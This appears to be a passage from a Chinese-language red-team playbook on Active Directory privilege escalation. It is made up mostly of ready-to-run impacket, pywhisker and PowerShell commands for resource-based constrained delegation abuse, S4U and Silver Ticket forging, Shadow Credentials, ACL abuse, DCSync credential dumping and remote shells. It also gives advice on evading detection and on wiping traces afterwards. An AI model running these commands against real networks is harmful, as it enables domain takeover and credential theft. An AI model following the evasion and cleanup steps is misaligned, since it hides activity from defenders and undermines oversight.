# 步骤 1: 创建机器账户（如果 MAQ > 0）
impacket-addcomputer corp.local/attacker:'P@ssw0rd' \
  -computer-name 'EVIL$' -computer-pass 'EvilP@ss123!' -dc-ip 10.10.10.1
# 验证: 新机器账户自动获得 SPN (HOST/EVIL, RestrictedKrbHost/EVIL)

# 步骤 2: 配置 RBCD — 允许 EVIL$ 代表任何用户访问 TARGET$
# 方式A: impacket-rbcd
impacket-rbcd corp.local/attacker:'P@ssw0rd' -dc-ip 10.10.10.1 \
  -delegate-to 'TARGET$' -delegate-from 'EVIL$' -action write

# 方式B: rbcd.py
python3 rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' \
  -action write 'corp.local/attacker:P@ssw0rd' -dc-ip 10.10.10.1

# 方式C: PowerShell (域内)
Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount EVIL$

# 步骤 3: S4U2Self + S4U2Proxy 获取 Administrator 的服务票据
impacket-getST corp.local/'EVIL$':'EvilP@ss123!' \
  -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.1
# 输出: Administrator@cifs_TARGET.corp.local.ccache

# 步骤 4: 使用服务票据访问目标
export KRB5CCNAME=Administrator@cifs_TARGET.corp.local.ccache

# 远程执行
impacket-psexec -k -no-pass TARGET.corp.local
impacket-wmiexec -k -no-pass TARGET.corp.local
impacket-smbexec -k -no-pass TARGET.corp.local

# 凭据提取
impacket-secretsdump -k -no-pass TARGET.corp.local

2.4 S4U 协议详解

S4U2Self + S4U2Proxy 流程:

攻击者(EVIL$)              KDC                     TARGET
     │                       │                        │
     │ ── S4U2Self ────────> │                        │
     │    "我是 EVIL$,       │                        │
     │     请给我一张         │                        │
     │     Administrator      │                        │
     │     访问 EVIL$ 的 ST" │                        │
     │                       │                        │
     │ <── Forwardable ST ── │                        │
     │    (Admin → EVIL$)    │                        │
     │                       │                        │
     │ ── S4U2Proxy ───────> │                        │
     │    "请将这张 ST       │                        │
     │     转换为 Admin      │                        │
     │     访问 cifs/TARGET  │                        │
     │     的 ST"            │                        │
     │                       │ (检查 RBCD 配置)       │
     │ <── Service Ticket ── │                        │
     │    (Admin → TARGET)   │                        │
     │                       │                        │
     │ ── CIFS/SMB ──────────────────────────────────> │
     │    使用 Admin 的 ST   │                        │

2.5 从计算机账户凭据到管理员 Shell

获取计算机账户的 TGT 或 NT hash 后（通过 Shadow Credentials 或其他方式），有多种路径获取管理员权限。

S4U2Self + altservice

# 使用计算机账户的 TGT 通过 S4U2Self 获取 Administrator 的服务票据
export KRB5CCNAME=computer.ccache

# -self: S4U2Self（为自己请求其他用户的 ST）
# -altservice: 指定目标服务（CIFS 用于文件访问、HOST 用于 WMI/PsExec）
impacket-getST -self -impersonate 'Administrator' \
  -altservice 'CIFS/target.domain.local' \
  -k -no-pass -dc-ip DC_IP 'domain.local'/'computer$'

# 使用获取的 Administrator ST
export KRB5CCNAME=Administrator@CIFS_target.domain.local@DOMAIN.LOCAL.ccache
impacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.local
impacket-smbclient -k -no-pass target.domain.local

Silver Ticket

# 当拥有计算机账户的 NT hash 时，可以伪造 Silver Ticket
# Silver Ticket 不经过 DC 验证 → 不产生 4769 事件

# 1. 获取域 SID
impacket-lookupsid 'domain.local'/'computer$'@target.domain.local 0 \
  -hashes ':NTLM_HASH'

# 2. 伪造 CIFS 服务的 Silver Ticket
impacket-ticketer -domain-sid 'S-1-5-21-xxx-xxx-xxx' \
  -domain 'domain.local' \
  -spn 'CIFS/target.domain.local' \
  -nthash 'NTLM_HASH' \
  Administrator

# 3. 使用伪造票据
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.local
impacket-secretsdump -k -no-pass target.domain.local

域控的特殊情况

# 如果目标计算机是域控制器 → 获取其机器账户后可直接 DCSync
# 使用 DC 机器账户 hash
impacket-secretsdump -hashes ':NTLM_HASH' 'domain.local'/'DC01$'@dc01.domain.local

# 或使用 DC 机器账户 TGT
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass domain.local/'DC01$'@dc01.domain.local

---

3. 组合攻击

3.1 Shadow Credentials + RBCD 连锁

场景: 你有对用户 A 的 GenericWrite，A 有对计算机 B 的 GenericAll
攻击链:
├─ 步骤 1: Shadow Creds on A → 获取 A 的 TGT/Hash
├─ 步骤 2: 使用 A 的身份对 B 配置 RBCD
├─ 步骤 3: RBCD 攻击 → 获取 B 的 Administrator 访问
└─ 步骤 4: 如果 B 是 DC → DCSync → 域管

# 实战: A=svc_backup, B=DC01

# 1. Shadow Creds → 获取 svc_backup 的凭据
python3 pywhisker.py -d corp.local -u attacker -p 'P@ss' \
  --target svc_backup --action add --dc-ip 10.10.10.1
python3 gettgtpkinit.py -cert-pfx output.pfx -pfx-pass 'xxx' \
  corp.local/svc_backup svc.ccache -dc-ip 10.10.10.1

# 2. 使用 svc_backup 身份配置 RBCD on DC01
export KRB5CCNAME=svc.ccache
impacket-addcomputer corp.local/svc_backup -k -no-pass \
  -computer-name 'ATK$' -computer-pass 'AtkP@ss' -dc-ip 10.10.10.1
impacket-rbcd corp.local/svc_backup -k -no-pass -dc-ip 10.10.10.1 \
  -delegate-to 'DC01$' -delegate-from 'ATK$' -action write

# 3. RBCD → DC01 Administrator
impacket-getST corp.local/'ATK$':'AtkP@ss' \
  -spn cifs/DC01.corp.local -impersonate Administrator -dc-ip 10.10.10.1
export KRB5CCNAME=Administrator@cifs_DC01.corp.local.ccache
impacket-secretsdump -k -no-pass DC01.corp.local -just-dc-ntlm

3.2 WriteDACL → GenericAll → Shadow Creds

场景: WriteDACL on target user → 无法直接利用
攻击链:
├─ 步骤 1: WriteDACL → 给自己加 GenericAll
├─ 步骤 2: GenericAll → Shadow Credentials
├─ 步骤 3: PKINIT → TGT → 横向移动
└─ 步骤 4: 清理 ACE + 清理 Key Credential

# 1. WriteDACL → GenericAll
dacledit.py -dc-ip 10.10.10.1 corp.local/attacker:'P@ss' \
  -target victim_user -action write -rights FullControl -principal attacker

# 2. GenericAll → Shadow Creds
python3 pywhisker.py -d corp.local -u attacker -p 'P@ss' \
  --target victim_user --action add --dc-ip 10.10.10.1

# 3. 获取凭据并利用
python3 gettgtpkinit.py -cert-pfx output.pfx -pfx-pass 'xxx' \
  corp.local/victim_user victim.ccache -dc-ip 10.10.10.1

# 4. 清理（逆序）
python3 pywhisker.py -d corp.local -u attacker -p 'P@ss' \
  --target victim_user --action remove --device-id <DEVICE_ID> --dc-ip 10.10.10.1
dacledit.py -dc-ip 10.10.10.1 corp.local/attacker:'P@ss' \
  -target victim_user -action remove -rights FullControl -principal attacker

3.3 从 GenericWrite 到 Domain Admin 的最短路径

决策树:

GenericWrite on ?
│
├─ User Object
│   ├─ [首选] Shadow Credentials → PKINIT → TGT
│   ├─ [备选] Targeted Kerberoasting → 设置 SPN → 破解
│   └─ [备选] 修改 logonScript → 等待用户登录
│
├─ Computer Object
│   ├─ [首选] RBCD → S4U → 管理员服务票据
│   ├─ [备选] Shadow Credentials → PKINIT → 计算机 TGT
│   │   └─ 如果是 DC 的计算机账户 → DCSync
│   └─ [备选] 读 LAPS 密码（如果安装了 LAPS）
│
├─ Group Object
│   └─ 将自己加入该组 → 继承组权限
│
└─ GPO Object
    └─ GPO 滥用 → 推送恶意策略到关联 OU

---

4. OPSEC 分析

4.1 Shadow Credentials 检测

检测点:
├─ Windows Security Event 4662:
│   ├─ ObjectType: msDS-KeyCredentialLink
│   ├─ Operation: Write Property
│   └─ 关注: 非 ADCS 服务账户修改此属性 = 异常
│
├─ Windows Security Event 4768:
│   ├─ Certificate Information 不为空
│   ├─ Pre-Authentication Type: PKINIT
│   └─ 关注: 用户账户使用证书认证（通常只有计算机使用）
│
├─ LDAP 审计:
│   └─ 对 msDS-KeyCredentialLink 的写操作
│
└─ BloodHound:
    └─ AddKeyCredentialLink edge 关系

OPSEC 建议:
├─ 操作完成后立即清理 Key Credential
├─ 选择在正常 ADCS 活动期间操作（混入合法证书操作）
├─ 避免对高价值目标（DA/EA）直接操作
└─ 使用中间跳板账户，不直接从已知攻击者账户操作

4.2 RBCD 检测

检测点:
├─ Windows Security Event 4662:
│   ├─ ObjectType: msDS-AllowedToActOnBehalfOfOtherIdentity
│   ├─ Operation: Write Property
│   └─ 关注: 非管理员修改委派配置
│
├─ Windows Security Event 4741:
│   └─ 新计算机账户创建（MAQ 利用）
│   └─ 关注: 非 IT 管理员创建机器账户
│
├─ Kerberos 审计 (4769):
│   ├─ S4U2Proxy 请求
│   └─ 关注: 新创建的机器账户发起 S4U
│
└─ BloodHound:
    └─ AllowedToAct edge 关系

OPSEC 建议:
├─ 如果可能，使用已有的受控机器账户（避免创建新账户）
├─ 机器账户名称模仿目标环境的命名规范
├─ 操作完成后清理 RBCD 配置 + 删除机器账户
├─ 避免在短时间内创建账户+配置委派+S4U（行为链特征）
└─ 在委派配置和实际利用之间增加时间间隔

4.3 完整清理流程

# ===== Shadow Credentials 清理 =====

# 列出所有 Key Credentials
python3 pywhisker.py -d corp.local -u attacker -p 'P@ss' \
  --target victim --action list --dc-ip 10.10.10.1

# 删除指定 DeviceID
python3 pywhisker.py -d corp.local -u attacker -p 'P@ss' \
  --target victim --action remove --device-id <DEVICE_ID> --dc-ip 10.10.10.1

# Windows: Whisker 清理
.\Whisker.exe remove /target:victim /deviceid:<DEVICE_ID> /domain:corp.local

# ===== RBCD 清理 =====

# 清空 RBCD 配置
impacket-rbcd corp.local/attacker:'P@ss' -dc-ip 10.10.10.1 \
  -delegate-to 'TARGET$' -delegate-from 'EVIL$' -action flush

# 或 PowerShell
Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount $null

# 删除创建的机器账户（需要对应权限）
impacket-addcomputer corp.local/attacker:'P@ss' -dc-ip 10.10.10.1 \
  -computer-name 'EVIL$' -computer-pass 'EvilP@ss123!' -delete

# ===== ACL 清理 =====
dacledit.py -dc-ip 10.10.10.1 corp.local/attacker:'P@ss' \
  -target victim -action remove -rights FullControl -principal attacker

---

5. 工具速查

---

关联参考

• ACE 权限位详解与完整滥用链 → ace-abuse-chains.md